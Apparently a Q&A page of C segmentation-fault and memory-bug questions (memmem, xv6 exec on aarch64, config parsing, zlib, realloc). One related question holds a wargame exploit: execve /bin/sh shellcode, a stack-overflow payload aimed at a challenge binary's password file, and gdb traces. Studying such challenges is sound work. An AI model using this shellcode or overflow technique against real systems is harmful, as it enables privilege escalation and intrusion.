I am attempting to find the size in bytes of some layers in a .gcode file for 3D printers. However, there is an error that I am getting from running a function to find the distance between two instances of the string ";LAYER:*". Here is my function source:
char* storeLayers(FILE* fp, int count) {
double size = get_filesize(fp);
uint8_t* file = (uint8_t*)malloc(size);
if(!file) {
printf("Error allocating 0x%lX bytes for GCode file\n",size);
fclose(fp);
return NULL;
}
int layerLen[] = {0};
fread(file,1,size,fp);
char* layerstr = NULL;
char* layer = ";LAYER:";
char layernum[100];
char* pointerlayernum;
uint8_t* layerfind;
uint8_t* lastLayerfind = 0;
uint8_t* tmpfind;
for(int i = 0; i <= count; i++) {
sprintf(layernum,"%d",i);
pointerlayernum = layernum;
// make count string
layerstr = addVars(layer,pointerlayernum);
printf("|%s|\n",layerstr);
layerfind = memmem(file,size,layerstr,strlen(layerstr);
if(!layerfind) {
printf("Unable to find %s in the file\n",layerstr);
return NULL;
}
printf("Found \"%s\" at 0x%08lX\n",layerstr,layerfind - file);
if(lastLayerfind != 0) {
tmpfind = (uint8_t*)(layerfind - file);
layerLen[i] = tmpfind - lastLayerfind;
printf("Length of layer block: 0x%X bytes\n",layerLen[i]);
}
lastLayerfind = (uint8_t*)(layerfind - file);
}
return "blah";
}
The addVars() function is as follows:
char* addVars(char *s1, char *s2) {
char *result = malloc(strlen(s1)+strlen(s2)+1);
strcpy(result, s1);
strcat(result, s2);
return result;
}
This error seems to only occur when I attempt to process more than 2 layers in int count. This is normal program output:
MacBook-Pro-27:fchost dayt0n$ ./fchost -d /Users/dayt0n/Downloads/paper_bin.gcode
Layers: 509
Filament Length: 4392.00 mm
|;LAYER:0|
Found ";LAYER:0" at 0x0000035F
|;LAYER:1|
Found ";LAYER:1" at 0x00002E67
Length of layer block: 0x2B08 bytes
|;LAYER:2|
Segmentation fault: 11
My GDB is broken for some odd reason, so I am using lldb and this is what lldb tells me:
MacBook-Pro-27:fchost dayt0n$ lldb fchost
(lldb) target create "fchost"
Current executable set to 'fchost' (x86_64).
(lldb) r -d /Users/dayt0n/Downloads/paper_bin.gcode /d
Process 21523 launched: '/Users/dayt0n/Github/fchost/fchost' (x86_64)
Layers: 509
Filament Length: 4392.00 mm
|;LAYER:0|
Found ";LAYER:0" at 0x0000035F
|;LAYER:1|
Found ";LAYER:1" at 0x00002E67
Length of layer block: 0x2B08 bytes
|;LAYER:2|
Process 21523 stopped
* thread #1: tid = 0xf706b, 0x00007fffeaa8338b libsystem_c.dylib`memmem + 104, queue = 'com.apple.main-thread', stop reason = EXC_BAD_ACCESS (code=2, address=0x100093000)
frame #0: 0x00007fffeaa8338b libsystem_c.dylib`memmem + 104
libsystem_c.dylib`memmem:
-> 0x7fffeaa8338b <+104>: movzbl (%rbx), %eax
0x7fffeaa8338e <+107>: cmpl %r13d, %eax
0x7fffeaa83391 <+110>: jne 0x7fffeaa833a5 ; <+130>
0x7fffeaa83393 <+112>: movq %rbx, %rdi
(lldb)
So, according to lldb, I know that the problem seems to reside within accessing memmem. Any help would be greatly appreciated.
I'd be looking at the int layerLen[] = {0};, for(int i = 0; i <= count; i++) {, layerLen[i] = tmpfind - lastLayerfind; sequence. The definition only allows for one int so, depending on the value of count, this may cause problems.
– paxdiablo
Related
I'm trying to write a system for aarch64 and when I tried to use the code from xv6 of exec, I get an exception after return from the exec function:
// Commit to the user image.
uint64_t* old_pgdir = p->pgdir;
p->pgdir = pgdir;
p->sz = sz;
p->pid = 2;
p->tf->sp_el0 = sp;
p->tf->elr_el1 = elf.e_entry;
p->state = RUNNABLE;
uvm_switch(p);
if (old_pgdir) vm_free(old_pgdir, 4);
cprintf("exec: end .\n");
return argc;
After this part of the code, system should return from exec and start executing the program I exec. But the exception came in after it return from exec.
The exception's EC is 0b100100 and I looked it up in ARM's doc and it showed these:
Data Abort from a lower Exception level.
Used for MMU faults generated by data accesses, alignment faults other than those caused by Stack Pointer misalignment, and synchronous External aborts, including synchronous parity or ECC errors. Not used for debug-related exceptions.
And I printed the iss of this exception and it's 0xF.
Which part of the code is wrong?
There is no error in the part where it loads ELF into memory, but I can't fully understand the part of allocating user stack, so I'll post my code down here:
// Allocate user stack.
// Allocate two pages at the next page boundary.
// Make the first inaccessible. Use the second as the user stack.
sz = ROUNDUP(sz, PGSIZE);
sz = uvm_alloc(pgdir, sz, sz + 2 * PGSIZE);
if (!sz) {
cprintf("exec: failed to allocate uvm.\n");
goto bad;
}
uvm_clear(pgdir, (char*)(sz - 2 * PGSIZE));
uint64_t sp = sz;
stackbase = sp - PGSIZE;
// Push argument strings.
uint64_t argc = 0;
uint64_t ustack[3 + MAXARG + 1];
for (; argv[argc]; ++argc) {
if (argc >= MAXARG) {
cprintf("exec: too many arguments.\n");
goto bad;
}
sp -= strlen(argv[argc]) + 1;
sp -= sp % 0x10;
if(sp < stackbase)
goto bad;
if (copyout(pgdir, sp, argv[argc], strlen(argv[argc]) + 1) < 0) {
cprintf("exec: failed to push argument strings.\n");
goto bad;
}
ustack[argc] = sp;
}
ustack[argc] = 0;
struct proc* p = thisproc();
p->tf->x0 = argc;
p->tf->x1 = sp - (argc + 1) * sizeof(uint64_t);
sp -= (argc + 1) * sizeof(uint64_t);
uint64_t stack_size = (argc + 1) * sizeof(uint64_t);
if (copyout(pgdir, sp, (char*)ustack, stack_size) < 0) {
cprintf("exec: failed to push argv[] pointers.\n");
goto bad;
}
// Save program name for debugging.
char* last = path;
for (char* s = path; *s; ++s)
if (*s == '/') last = s + 1;
strncpy(p->name, last, sizeof(p->name));
// Commit to the user image.
uint64_t* old_pgdir = p->pgdir;
p->pgdir = pgdir;
p->sz = sz;
p->tf->sp_el0 = sp;
p->tf->elr_el1 = elf.e_entry;
uvm_switch(p);
if (old_pgdir) vm_free(old_pgdir, 4);
cprintf("exec: end .\n");
return argc;
Is it something with the part of pushing environment pointers, or where is wrong? How do I know where this exception came from? I'm really confused of this exception.
Hi i'm trying to write a code how can print a dynamic struct which values are taken from a config file
this is the config file containing the number of gateway and for each one we have different parameters
nbre_GW = "3"
GW1 = "192.168.1.12;502;1;2;3"
GW2 = "192.168.1.13;505;5;6;45"
GW3 ="192.168.1.14;503;11;12;3"
i'm using this structure :
typedef struct {
char IP[12] ;
int port;
int slave [50] ;
} GW_t ;
while executing the code I've got the error segmentation fault
This the function read config
int readConfig(int gw_nbr)
{
char tmpBuff[8];
char chaine [50] ;
config_t cfg;
const char * l_nbre = NULL;
const char * l_chaine = NULL;
config_init(&cfg);
printf("hello");
//printf("\r\n========================== READING FROM CONFIG FILE ==========================\r\n");
if (!config_read_file(&cfg, CONFIG_FILENAME)) {
fprintf(stdout, "Configuration file not found!");
config_destroy(&cfg);
return -1;
}
printf ("read config file");
if (!config_lookup_string(&cfg, "nbre_GW", &l_nbre)) {
fprintf(stdout, "No 'nbre_GW' setting in configuration file.\r\n");
config_destroy(&cfg);
return -1;
}
gw_nbr = atoi(l_nbre);
gwArray = (GW_t *) malloc (gw_nbr* sizeof(GW_t)) ;
for (int i =1 ; i<= gw_nbr ; i++)
{
sprintf(tmpBuff,"GW%d",i);
if (!config_lookup_string(&cfg, tmpBuff, &l_chaine)) {
fprintf(stdout, "No 'GW' setting in configuration file.\r\n");
config_destroy(&cfg);
return -1;
}
strcpy(chaine, l_chaine);
int len = strlen(chaine);
char d[] = ";";
printf ("first strtok");
char *p = strtok(chaine, d);
strcpy(gwArray[i].IP,p);
p = strtok(NULL, d);
gwArray[i].port = atoi(p);
int j =0 ;
while(p != NULL)
{
p = strtok(NULL, d);
gwArray[i].slave[j] = atoi(p);
j++ ;
}
}
}
There are several things wrong with this code:
You allocate three items (because nbre_GW is 3) in gwArray.
You leave gwArray[0] untouched, containing garbage (calloc zeroes memory, but malloc doesn't).
You write to gwArray[3], which was never allocated.
The function returns -1 for errors, but garbage for success.
So the program could crash when it tries to interpret the garbage in gwArray[0], or when whatever was overwritten by gwArray[3] is read, or when it tries to process a garbage number of gateways. Without running the whole program in a debugger, there's no way to tell, but it's pretty likely one of these causes.
I am currently working on the below requirement.
Here is the requirement: On the server side a large file is divided into 4000-byte blocks (frames). Each block is in turn compressed (using zlib) and sent to client process. For instance, if a file is 12000 bytes in size then it is divided into 3 blocks.
Above file will have 3 blocks => Block-0, Block-1, Block-2
On receipt, client decompresses each block (or frame) and writes to buffer allocated on the heap.When all the blocks corresponding to the entire file is received by the client, then the uncompressed version of the resultant file is written to the disk.
I have written a routine inflateData that does the following based on the block # received:
When the first block is received,
- inflateInit
- inflate
- inflateReset
When the intermediate blocks are received,
- inflate
- inflateReset
When the last block is received,
- inflate
- inflateEnd
With the above routine, Decompression of blocks happens as expected. But the issue that I face is it consumes lots of memory and at some point entire system slows down. When checked with valgrind, memory leak is reported with inflateInit2_. This causes the system resources to be exhausted.
==30359== 57,312 bytes in 6 blocks are possibly lost in loss record 64 of 67
==30359== at 0x4A069EE: malloc (vg_replace_malloc.c:270)
==30359== by 0x3E57808F1E: inflateInit2_ (in /lib64/libz.so.1.2.3)
==30359== by 0x40C220: inflateData (productMaker.c:1668)
Below is the routine inflateData.
int inflateData(
char* const inBuf,
unsigned long inLen,
unsigned int isFirstBlk,
unsigned int isLastBlk,
const char* outBuf,
unsigned long* outLen)
{
int have;
int readsz;
int bsize;
static z_stream zstrm;
int zerr;
int flush;
char out[CHUNK_SZ];
char in[CHUNK_SZ];
int ret,nwrite,idx = -1;
int savedByteCntr=0;
unsigned char *dstBuf;
int firstCall = 1;
int totalBytesIn=0;
int inflatedBytes=0;
int decompByteCounter = 0;
int num=0;
ret = Z_OK;
readsz = 0;
bsize = CHUNK_SZ;
dstBuf = (unsigned char *) outBuf;
if(isFirstBlk){
memset(&zstrm, '\0', sizeof(z_stream));
zstrm.zalloc = Z_NULL;
zstrm.zfree = Z_NULL;
zstrm.opaque = Z_NULL;
if ((zerr = inflateInit(&zstrm)) != Z_OK) {
uerror("ERROR %d inflateInit (%s)",
zerr, decode_zlib_err(zerr));
return -1;
}
}
while(totalBytesIn < inLen ) {
int compChunkSize = ((inLen - totalBytesIn) > 5120) ? 5120 :
(inLen - totalBytesIn);
memcpy(in, inBuf + totalBytesIn, compChunkSize);
zstrm.avail_in = inLen - totalBytesIn;
zstrm.next_in = in ;
zstrm.avail_out = CHUNK_SZ;
zstrm.next_out = out;
inflatedBytes = 0;
while(ret != Z_STREAM_END) {
ret = inflate(&zstrm, Z_NO_FLUSH);
if(ret < 0) {
uerror(" Error %d inflate (%s)", ret, decode_zlib_err(ret));
(void)inflateEnd(&zstrm);
return ret;
}
inflatedBytes = CHUNK_SZ - zstrm.avail_out;
if(inflatedBytes == 0) {
unotice("\n Unable to decompress data - truncated");
break;
}
totalBytesIn += zstrm.total_in;
decompByteCounter += inflatedBytes;
memcpy(dstBuf + savedByteCntr, out, inflatedBytes);
savedByteCntr = decompByteCounter;
}
// Reset inflater for additional input
ret = inflateReset(&zstrm);
if(ret == Z_STREAM_ERROR){
uerror(" Error %d inflateReset (%s)", ret, decode_zlib_err(ret));
(void)inflateEnd(&zstrm);
return ret;
}
}
if(isLastBlk){
ret = inflateEnd(&zstrm);
if(ret < 0) {
uerror("Fail inflateEnd %d [%s] ", ret, decode_zlib_err(ret));
return (ret);
}
}
*outLen = decompByteCounter;
return 0;
}
Thanks in advance for the support.
Thanks,
Sathya.
You are making an error in your use of your inflateData() routine.
First off, using a static variable in this way is a horrible idea. If you call your inflateData() twice with isFirstBlk true without an intermediate call with isLastBlk true, then you will wipe out the reference to the first set of allocations, resulting in a memory leak.
To avoid this sort of error, you should keep track of whether zstrm is initialized or not, and reject any attempt to initialize an already initialized stream. Better still would be to not even have an isFirstBlk, and simply initialize zstrm on the first call and on any call that immediately follows a call with isLastBlk true.
So you are either doing the above, calling twice with isFirstBlk true, or failing to call with isLastBlk true.
Hi i'm really stuck on this problem: here are my code and below the code i try to overflow:
#include <stdio.h>
#define B 145 // 141 for ex overflow
#define A 0
char sc[]=
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";
void main()
{
char *env[2] = {sc, NULL};
char buf[B];
int i;
int *ap = (int*)(buf + A);
int ret = 0xbffffffa - strlen(sc) - strlen("/challenge/app-systeme/ch10/ch10");
FILE *file;
for (i = 0; i < B - 4; i += 4)
{
if (i == 136)
*ap++ = 0xbffffc64;
else if (i == 98)
{
*ap++ = "/challenge/app-systeme/.passwd";//edx
}
else
{
if (i >= 50)
*ap++ = 0x42424242;
else if (i < 50)
*ap++ = 0xbfffffb1;//0x45454545;
}
}
file = fopen("/tmp/toto/COUCOU", "a+");
fprintf(file, "%s%s", "USERNAME=", buf);
fclose(file);
printf("AAAAWESOME");
execle("/challenge/app-systeme/ch10/ch10", "ch10", "/tmp/toto/COUCOU", NULL, env);
}
Vulnerable code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFFER 512
struct Init
{
char username[128];
uid_t uid;
pid_t pid;
};
void cpstr(char *dst, const char *src)
{
for(; *src; src++, dst++)
{
*dst = *src;
}
*dst = 0;
}
void chomp(char *buff)
{
for(; *buff; buff++)
{
if(*buff == '\n' || *buff == '\r' || *buff == '\t')
{
*buff = 0;
break;
}
}
}
struct Init Init(char *filename)
{
FILE *file;
struct Init init;
char buff[BUFFER+1];
if((file = fopen(filename, "r")) == NULL)
{
perror("[-] fopen ");
exit(0);
}
memset(&init, 0, sizeof(struct Init));
init.pid = getpid();
init.uid = getuid();
while(fgets(buff, BUFFER, file) != NULL)
{
chomp(buff);
if(strncmp(buff, "USERNAME=", 9) == 0)
{
cpstr(init.username, buff+9);
}
}
fclose(file);
return init;
}
int main(int argc, char **argv)
{
struct Init init;
if(argc != 2)
{
printf("Usage : %s <config_file>\n", argv[0]);
exit(0);
}
init = Init(argv[1]);
printf("[+] Runing the program with username %s, uid %d and pid %d.\n", init.username, init.uid, init.pid);
return 0;
}
Indeed i can't reach eip as gdb usually shows a segfault happening into the loop:
esi is the first register crushed after the overflow but i still don't get what feed him.
It's a buffer size at this point, i can then even fill edi and edx, but still what for ?
Is eip still unreachable ?
Well typically :
gdb$ r
process 14534 is executing new program: /challenge/app-systeme/ch10/ch10
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x00000000 EBX: 0xB7FCFFF4 ECX: 0x42424242 EDX: 0x42424242 o d I t s z a P c
ESI: 0xBFFFFC64 EDI: 0x000001FF EBP: 0xBFFFFC64 ESP: 0xBFFFF8EC EIP: 0xB7E9CD88
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
=> 0xb7e9cd88: mov ecx,DWORD PTR [edx+0x8]
0xb7e9cd8b: mov edx,DWORD PTR [edx]
0xb7e9cd8d: cmp eax,ecx
0xb7e9cd8f: cmovg eax,ecx
0xb7e9cd92: test edx,edx
0xb7e9cd94: jne 0xb7e9cd88
0xb7e9cd96: repz ret
0xb7e9cd98: nop
--------------------------------------------------------------------------------
0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
gdb$ bt
#0 0xb7e9cd88 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1 0xb7e9cdc4 in ?? () from /lib/i386-linux-gnu/libc.so.6
#2 0xb7e9d2e4 in __uflow () from /lib/i386-linux-gnu/libc.so.6
#3 0xb7e90d3a in _IO_getline_info () from /lib/i386-linux-gnu/libc.so.6
#4 0xb7e90c83 in _IO_getline () from /lib/i386-linux-gnu/libc.so.6
#5 0xb7e8fc20 in fgets () from /lib/i386-linux-gnu/libc.so.6
#6 0x08048685 in Init (filename=0xbfffffb1 "/tmp/toto/COUCOU") at binary10.c:56
#7 0x08048716 in main (argc=0x2, argv=0xbffffed4) at binary10.c:75
Well, it seems I forgot to mention the partial RELRO state of the binary.
Anymore light is welcome .
(gdb) disas __uflow
Dump of assembler code for function __uflow:
0xb7e9d270 <+0>: push %esi
0xb7e9d271 <+1>: push %ebx
...
0xb7e9d37c <+268>: lea 0x0(%esi,%eiz,1),%esi
=> 0xb7e9d380 <+272>: movzbl (%edx),%eax
0xb7e9d383 <+275>: add $0x1,%edx
...
0xb7e9d3b3 <+323>: call 0xb7e92ca0
0xb7e9d3b8 <+328>: jmp 0xb7e9d2b1 <__uflow+65>
End of assembler dump.
(gdb) x/i $eax
0xb7e9c588 <_IO_file_overflow+424>: add %bh,-0x1(%eax)
(gdb) vim ok
Undefined command: "vim". Try "help".
(gdb) x/i $edx
0x806c000: Cannot access memory at address 0x806c000
(gdb)
Something can detect the overflow ?
Well, this is resolved. But trust me i don't have a clue of what i've done, and if anybody could teach us all a lesson he'd be Welcome.
I didn't analyze it in detail, but it seems you are not overflowing init in main(), you are overflowing init in Init(), but its proving resilient to overflow because theres a 513 bytes buffer reserved right after it, spacing you from the sensitive call stack information you want to attack.
Once Init() returns this struct to main() through a copy operation, only sizeof(struct Init) bytes are copied, so its not cascading the vulnerability to the function that you want to attack.
I believe if you want to trigger the vulnerability without interference of any of this, you should overwrite main()'s init directly, by passing it to Init() as a pointer, like void Init(char *filename, struct Init *init).
Consider Below code for concatenating two char arrays with a delimiter:
void addStrings(char* str1,char* str2,char del)
{
//str1=str1+str2
int len1=strlen(str1);
int len2=strlen(str2);
int i=0;
//char* temp=(char*) malloc((len1+1)*sizeof(char));
//strcpy(temp,str1);
str1=(char*) realloc(str1,(len1+len2+1)*sizeof(char));
printf("Here--%d\n",strlen(str1));
*(str1+len1)=del; //adding delimiter
for(i=0;i<=len2;i++)
*(str1+len1+i+1)=*(str2+i);
printf("Concatenated String: %s\n",str1);
i=0;
while( *(str1+i) != '\0')
{
printf("~~%d:%c\n",i,*(str1+i));
i++;
}
}
When running this function with addStrings("A","test",'#');; The code crashes as realloc below is gdb output
Breakpoint 3, addStrings (str1=0x40212f <_data_start__+303> "A", str2=0x40212a <_data_start__+298> "test",
del=64 '#') at string.c:34
34 int len1=strlen(str1);
(gdb) s
35 int len2=strlen(str2);
(gdb) s
36 int i=0;
(gdb) s
39 str1=(char*) realloc(str1,(len1+len2+1)*sizeof(char));
(gdb)
Program received signal SIGABRT, Aborted.
0x004012f2 in addStrings (str1=0xc0 <Address 0xc0 out of bounds>,
str2=0xea60 <Address 0xea60 out of bounds>, del=0 '\000') at string.c:39
39 str1=(char*) realloc(str1,(len1+len2+1)*sizeof(char));
Not able to figure out why it is crashing? Is it because I am passing str1 as auto variable rather than creating it on heap?
If this is the case ? How do I modify my code to accept auto as well as heap variables?
You need to pass your target string pointer by address, and it must hold either the address of a previously allocate string, or NULL (if coded correctly). The size allocation must be both lengths + 2 (one for the deli separator, one for the terminator). The result can look something like this:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void addStrings(char** str1, const char* str2,char del)
{
size_t len1 = *str1 ? strlen(*str1) : 0;
size_t len2 = str2 ? strlen(str2) : 0;
char *res = realloc(*str1, len1 + len2 + 2);
if (res)
{
res[len1] = del;
memcpy(res + len1 + 1, str2, len2);
res[len1 + 1 + len2] = 0;
*str1 = res;
}
}
int main()
{
char *p = NULL;
const char test[] = "test";
int i=0;
// prove it works with no input whatsoever
addStrings(&p, NULL, 'X');
printf("p = %p, %s\n", p, p);
// loop on some input for awhile
for (;i<10;++i)
{
addStrings(&p, test, '#');
printf("p = %p, %s\n", p, p);
}
free(p);
return 0;
}
Output
p = 0x128610, X
p = 0x128610, X#test
p = 0x128610, X#test#test
p = 0x128620, X#test#test#test
p = 0x128620, X#test#test#test#test
p = 0x128620, X#test#test#test#test#test
p = 0x128620, X#test#test#test#test#test#test
p = 0x128640, X#test#test#test#test#test#test#test
p = 0x128640, X#test#test#test#test#test#test#test#test
p = 0x128640, X#test#test#test#test#test#test#test#test#test
p = 0x128670, X#test#test#test#test#test#test#test#test#test#test
Compiled with:
Apple LLVM version 5.1 (clang-503.0.40) (based on LLVM 3.4svn)
Target: i386-apple-darwin13.2.0
Thread model: posix
Note the change in resulting address on some of the passes. I leave the checking for valid parameter input as an exercise for you.